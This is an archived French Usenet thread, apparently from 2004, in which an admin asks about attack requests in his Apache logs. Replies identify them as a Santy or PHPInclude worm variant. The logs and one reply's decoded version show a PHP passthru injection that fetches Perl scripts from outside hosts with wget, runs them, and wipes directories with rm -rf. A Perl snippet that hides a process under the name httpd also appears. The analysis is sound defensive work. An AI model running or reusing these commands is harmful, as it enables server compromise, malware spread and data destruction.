OVH Cloud OVH Cloud

apache webalizer perl: c'est quoi ?

4 réponses
Avatar
Guy Marcenac
Bonjour,

Je reçois des tentatives d'intrusion de plus en plus fréquentes sur mon
serveur apache. Elles proviennent d'ip différentes.
Elles sont toutes de la forme "GET /webalizer/usage_200407.html&rush=
...." suivi de tout un tas de commandes unix ou perl. Le 'browser' est
toujours "LWP::Simple" dont la version varie.
La page webalizer référencée existe réellement sur le site.
Les patterns sont répétitifs. Je joins deux entrées du log plus bas. Les
ip source hébergent des sites web actifs (pour ceux que j'ai vérifiés).

550 occurrences en tout depuis la première apparition le 25/12
230 ces dernières 24 heures

Quelqu'un sait-il de quoi il s'agit ?

xxx.xxx.xxx.xxx - - [29/Dec/2004:10:37:43 +0100] "GET
/webalizer/usage_200407.html&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;%20rm%20-rf%20*;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/tmp/;rm%20-rf%20*;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/spool/mail/;rm%20-rf%20*;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20/var/mail/;rm%20-rf%20*;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;cd%20%20/usr/local/apache/proxy/;rm%20-rf%20*;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116;perl%20sess_189f0f0889555397a4de5485dd611116;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115;perl%20sess_189f0f0889555397a4de5485dd611115;wget%2069.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117;perl%20sess_189f0f0889555397a4de5485dd611117;rm%20-rf%20*;killall%20-9%20wget%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
HTTP/1.1" 404 2785 "-" "LWP::Simple/5.803" 0 xxxxxxxxxxxxxxxxxxxxx
xxx.xxx.xxx.xxx - - [29/Dec/2004:10:41:35 +0100] "GET
/webalizer/usage_200407.html&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20killall%20-9%20perl;cd%20/tmp;mkdir%20.temp22;cd%20.temp22;wget%20http://www.abcft.org/themes/bot.htm;wget%20http://http://weblicious.com/.notes/ssh2.htm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.htm;rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';
HTTP/1.1" 404 585 "-" "LWP::Simple/5.64" 0 xxxxxxxxxxxxxxxxxxxx

--
guy

4 réponses

Avatar
Erwan Lerale
On 29 Dec 2004 11:33:25 GMT, Guy Marcenac wrote:
Bonjour,

Je reçois des tentatives d'intrusion de plus en plus fréquentes sur mon
serveur apache. Elles proviennent d'ip différentes.
Elles sont toutes de la forme "GET /webalizer/usage_200407.html&rush=
...." suivi de tout un tas de commandes unix ou perl. Le 'browser' est
toujours "LWP::Simple" dont la version varie.
La page webalizer référencée existe réellement sur le site.
Les patterns sont répétitifs. Je joins deux entrées du log plus bas. Les
ip source hébergent des sites web actifs (pour ceux que j'ai vérifiés).

550 occurrences en tout depuis la première apparition le 25/12
230 ces dernières 24 heures

Quelqu'un sait-il de quoi il s'agit ?


http://www.k-otik.com/news/20041226.PhpIncludeWorm.php

Avatar
SP18
Guy Marcenac wrote:
Je reçois des tentatives d'intrusion de plus en plus fréquentes sur mon
serveur apache. Elles proviennent d'ip différentes.
Elles sont toutes de la forme "GET /webalizer/usage_200407.html&rush=
...." suivi de tout un tas de commandes unix ou perl. Le 'browser' est
toujours "LWP::Simple" dont la version varie.
La page webalizer référencée existe réellement sur le site.
Les patterns sont répétitifs. Je joins deux entrées du log plus bas. Les
ip source hébergent des sites web actifs (pour ceux que j'ai vérifiés).

550 occurrences en tout depuis la première apparition le 25/12
230 ces dernières 24 heures

Quelqu'un sait-il de quoi il s'agit ?


Il s'agit d'un script qui tente d'ouvrir la page de ton webalizer. Ce
dernier étant un script perl qui génère des graphiques en fonctions des
logs apaches afin de faire des stats.

--
SP18

Avatar
Jeremy JUST
On 29 Dec 2004 11:33:25 GMT
Guy Marcenac wrote:

Elles sont toutes de la forme "GET /webalizer/usage_200407.html&rush=
...." suivi de tout un tas de commandes unix ou perl. Le 'browser' est
toujours "LWP::Simple" dont la version varie.


Une fois remises en formes, ces URL donnent ça:

<<<<<
/webalizer/usage_200407.html&
rush=[...le script recopié ci-dessous...]
&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27

(les %27 seraient transformés en ' par un second décodage)






<<<<<
echo _START_
cd /tmp
rm -rf *
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111
perl sess_189f0f0889555397a4de5485dd611111
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116
perl sess_189f0f0889555397a4de5485dd611116
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115
perl sess_189f0f0889555397a4de5485dd611115
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117
perl sess_189f0f0889555397a4de5485dd611117
rm -rf *
cd /var/tmp/
rm -rf *
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111
perl sess_189f0f0889555397a4de5485dd611111
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116
perl sess_189f0f0889555397a4de5485dd611116
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115
perl sess_189f0f0889555397a4de5485dd611115
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117
perl sess_189f0f0889555397a4de5485dd611117
rm -rf *
cd /var/spool/mail/
rm -rf *
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111
perl sess_189f0f0889555397a4de5485dd611111
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116
perl sess_189f0f0889555397a4de5485dd611116
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115
perl sess_189f0f0889555397a4de5485dd611115
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117
perl sess_189f0f0889555397a4de5485dd611117
rm -rf *
cd /var/mail/
rm -rf *
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111
perl sess_189f0f0889555397a4de5485dd611111
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116
perl sess_189f0f0889555397a4de5485dd611116
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115
perl sess_189f0f0889555397a4de5485dd611115
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117
perl sess_189f0f0889555397a4de5485dd611117
rm -rf *
cd /usr/local/apache/proxy/
rm -rf *
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611111
perl sess_189f0f0889555397a4de5485dd611111
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611116
perl sess_189f0f0889555397a4de5485dd611116
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611115
perl sess_189f0f0889555397a4de5485dd611115
wget 69.72.226.122/~demo/.zk/sess_189f0f0889555397a4de5485dd611117
perl sess_189f0f0889555397a4de5485dd611117
rm -rf *
killall -9 wget
echo _END_









<<<<<
/webalizer/usage_200407.html&
rush=[...le script recopié ci-dessous...]
&highlight=%27.passthru($HTTP_GET_VARS[rush]).%27';







<<<<<
echo _START_
killall -9 perl
cd /tmp
mkdir .temp22
cd .temp22
wget http://www.abcft.org/themes/bot.htm
wget http://http://weblicious.com/.notes/ssh2.htm
perl ssh2.htm
rm ssh.htm
perl bot.htm
rm bot.htm
echo _END_








Les wget téléchargent des scripts Perl qui sont exécutés après. Le
code Perl n'est pas très élégant (il n'a pas été écrit par un gourou, il
y a de grands bouts en commentaires et de grossières fautes de style;
d'ailleurs, c'est bizarre qu'un code de ce genre ne recherche pas la
compacité), mais il semble assez lisible. Je l'ai juste survolé pour
l'instant.

Cela dit, je note ce bout pour mon usage personnel, pour changer le
nom d'un process (je n'avais jamais pensé à forker après avoir modifié
$0): ;)

<<<<<
my $processo = "/usr/bin/httpd -DSSL";

$0="$processo".""x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);









Certains scripts lancent des requêtes HTTP sur Google et Yahoo...
Quand j'exécute les mêmes à la main, je tombe sur une liste de sites en
PHP, notamment réalisés avec phpBB:
http://cade.search.yahoo.com/search?p=viewtopic.php?t456&ei=UTF-8&fl=0&all=1&pstart=1&b=1
Ils essayent ensuite d'y lancer des requêtes similaires à celles que
tu as montrées (pour s'y propager, faut-il croire). Je suis donc tenté
de penser que tu es en présence de Santy ou une variante.

D'autres scripts parlent d'IRC, mais leur code est plus dilué, et je
n'ai pas encore compris s'ils jouaient le rôle de client, de serveur, ou
si je me plante complètement en pensant à IRC (je ne connais pas le
protocole correspondant). Je regarderai de plus près à l'occasion.



Bon, en résumé, oui, ce sont des tentatives d'attaques. Cet hiver, la
mode est au Perl. Moi, ça ne me gêne pas: pour une fois que je peux lire
avec intérêt le code des virus, vers et autres bestioles...


--
Jérémy JUST





Avatar
Guy Marcenac
Jeremy JUST wrote:

Une fois remises en formes, ces URL donnent ça:


[...]


cd /var/spool/mail/
rm -rf *


[etc]

brrr
Le niveau de privilège d'un process qui réussirait est-il bien celui du
processus apache ?

Certains scripts lancent des requêtes HTTP sur Google et Yahoo...
Quand j'exécute les mêmes à la main, je tombe sur une liste de sites en
PHP, notamment réalisés avec phpBB:
http://cade.search.yahoo.com/search?p=viewtopic.php?t456&ei=UTF-8&fl=0&all=1&pstart=1&b=1
Ils essayent ensuite d'y lancer des requêtes similaires à celles que
tu as montrées (pour s'y propager, faut-il croire). Je suis donc tenté
de penser que tu es en présence de Santy ou une variante.


C'est bien ce que je pense, mais il doit s'agir d'une variante. En

effet, snort ne voit rien passer, alors que j'utilise les signatures
"officielles", et surtout celles de bleeding-snort (santy.A, Santy.B et
PHPInclude.Worm pour celles que j'ai pu identifier comme pertinentes).
J'ai en fait 7 motifs différents dans les journaux, et aucun n'est vu
par snort.

Ceci dit, comme il adresse une page html, toutes les tentatives sont en
404 ...

--
guy